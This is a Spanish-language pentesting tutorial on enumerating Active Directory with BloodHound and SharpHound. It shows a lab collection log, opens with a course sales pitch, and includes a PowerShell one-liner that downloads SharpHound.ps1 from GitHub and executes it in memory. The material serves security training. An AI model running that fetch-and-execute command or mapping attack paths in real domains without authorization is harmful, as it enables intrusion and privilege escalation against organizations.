Page cover image

Enumeracion con BloodHound

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/j265a0. ¡Te esperamos para empezar este viaje juntos!

BloodHound es una herramienta específica diseñada para analizar y visualizar relaciones dentro de Directorio Activo (AD). Se ha convertido en una herramienta crucial en el arsenal de muchos pentesters y atacantes por varias razones:

  1. Visualización de Relaciones: BloodHound utiliza gráficos para mostrar las relaciones entre usuarios, grupos, computadoras y otros componentes en un AD. Estas visualizaciones hacen que sea más fácil para un atacante o pentester entender rápidamente las relaciones complejas y encontrar potenciales caminos de ataque.

  2. Identificación de Caminos de Ataque: Uno de los principales valores de BloodHound es su capacidad para identificar caminos de escalada de privilegios y movimiento lateral. Al alimentar a BloodHound con datos recopilados, la herramienta puede identificar caminos específicos que un atacante puede seguir para escalar privilegios o moverse lateralmente a través de una red.

  3. Automatización: La recopilación manual de detalles sobre las relaciones AD puede ser extremadamente lenta y tediosa. BloodHound, junto con su componente de recopilación de datos llamado SharpHound, automatiza gran parte de este proceso, permitiendo a los pentesters recopilar y analizar datos rápidamente.

  4. Identificación de Vulnerabilidades Comunes: BloodHound también puede identificar patrones comunes que a menudo son vulnerables a la explotación, como configuraciones de delegación inseguras, miembros excesivamente permisivos en grupos de alto privilegio, y usuarios que tienen derechos de sesión local en sistemas críticos.

  5. Capacidades de Análisis Avanzado: Aparte de identificar caminos obvios, BloodHound puede ayudar a identificar relaciones no evidentes que podrían ser explotadas. Por ejemplo, un usuario podría no tener privilegios directos sobre un recurso, pero a través de una serie de relaciones y delegaciones, podría tener una ruta de acceso indirecto.

  6. Capacitación y Conciencia: Para defensores y equipos de seguridad, BloodHound también puede ser una herramienta valiosa. Al visualizar la estructura de permisos y las relaciones dentro de AD, los defensores pueden anticiparse a potenciales vías de ataque y tomar medidas para mitigar los riesgos.

Primero ejecutamos el siguiente comando para inicializar la base de datos:

kali@kali> neo4j console             
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
2023-09-29 07:18:18.137+0000 INFO  Starting...
2023-09-29 07:18:19.041+0000 INFO  This instance is ServerId{35cf9386} (35cf9386-d217-443f-89d6-3eac0c57e0bf)
2023-09-29 07:18:22.056+0000 INFO  ======== Neo4j 4.4.16 ========
2023-09-29 07:18:24.383+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-09-29 07:18:24.389+0000 INFO  Updating the initial password in component 'security-users'
2023-09-29 07:18:27.611+0000 INFO  Bolt enabled on localhost:7687.
2023-09-29 07:18:29.774+0000 INFO  Remote interface available at http://localhost:7474/
2023-09-29 07:18:29.783+0000 INFO  id: DF67EC052D662B43410905E04F35787198037F96A886BD7B9B4BBD6337685638
2023-09-29 07:18:29.783+0000 INFO  name: system
2023-09-29 07:18:29.783+0000 INFO  creationDate: 2023-09-10T21:48:26.697Z
2023-09-29 07:18:29.783+0000 INFO  Started.

Y luego ejecutamos descargamos BloodHound desde el siguiente repositorio:

Y despues de clonar el repositorio, se procede a ejecutar el siguiente comando:

./BloodHound --no-sandbox

Y esto nos abrira la siguiente ventana:

Para utilizar BloodHound debemos utilizar un colector como SharpHound.

Si utilizamos ADPeas automaticamente tendremos nuestro archivo.zip:

[?] +++++ Searching for Detailed Active Directory Information with BloodHound +++++
2023-09-29T07:16:28.0771518+00:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound
2023-09-29T07:16:28.1084035+00:00|INFORMATION|Resolved Collection Methods: Group, GPOLocalGroup, Trusts, ACL, Container, ObjectProps
2023-09-29T07:16:28.1240293+00:00|INFORMATION|Initializing SharpHound at 7:16 AM on 9/29/2023
2023-09-29T07:16:28.1552940+00:00|WARNING|Common Library is already initialized
2023-09-29T07:16:28.1709015+00:00|INFORMATION|Flags: Group, GPOLocalGroup, Trusts, ACL, Container, ObjectProps
2023-09-29T07:16:28.2334002+00:00|INFORMATION|Beginning LDAP search for spartancybersec.corp
2023-09-29T07:16:28.2646481+00:00|INFORMATION|Producer has finished, closing LDAP channel
2023-09-29T07:16:28.2802762+00:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-09-29T07:17:13.4153837+00:00|INFORMATION|Status: 38 objects finished (+38 0.8444445)/s -- Using 165 MB RAM
2023-09-29T07:17:13.5263386+00:00|INFORMATION|Consumers finished, closing output channel
2023-09-29T07:17:13.5615949+00:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-09-29T07:17:13.6375942+00:00|INFORMATION|Status: 112 objects finished (+60 2.488889)/s -- Using 166 MB RAM
2023-09-29T07:17:13.6375942+00:00|INFORMATION|Enumeration finished in 00:00:45.4144593
2023-09-29T07:17:13.6553472+00:00|INFORMATION|Saving cache with stats: 71 ID to type mappings.
 71 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2023-09-29T07:17:13.6553472+00:00|INFORMATION|SharpHound Enumeration Completed at 7:17 AM on 9/29/2023! Happy Graphing!

PS C:\Users\Public\TOOLS> dir
    Directory: C:\Users\Public\TOOLS

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/29/2023   7:17 AM          13172 spartancybersec.corp_20230929071713_BloodHound.zip

O tambien podriamos utilizar el siguiente comando:

> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1'); 
> Invoke-BloodHound -CollectionMethod All

Esta herramienta puede ser encontrada en:

Luego de la ejecuccion previa, se obtendra un archivo.zip.

Asegurate de ejecutar estos comandos sobre un directorio en el que tengas acceso de escritura.

Ahora simplemente arrastramos el archivo.zip a BloodHound:

Luego de lo anterior ya podriamos empezar a realizar consultas de analisis.

Identificacion de Doman Admins

En la siguiente evidencia, identificamos los usuarios con privilegios de Domain Admin sobre el dominio:

Identificacion de usuarios Kerberoasteables

Para identificar usuarios vulnerables a Kerberoasting:

Identificacion de usuarios AS-REP Roastable

Para identificar usuarios vulnerables a AS-REP Roastable:

Identificacion de vectores de ataque

Para identificar vectores de ataque que permitan llegar al DC:

Hay unas consultas que te recomiendo instalar en BloodHound:

Identificacion de Unsconstrained Delegation

Despues de instalar estas consultas personalizadas podrias enumerar ataques de unsconstrained:

Identificacion de usuarios con permisos sobre GPO

Identificar objetos o usuarios con permisos sobre GPO:

Última actualización

¿Te fue útil?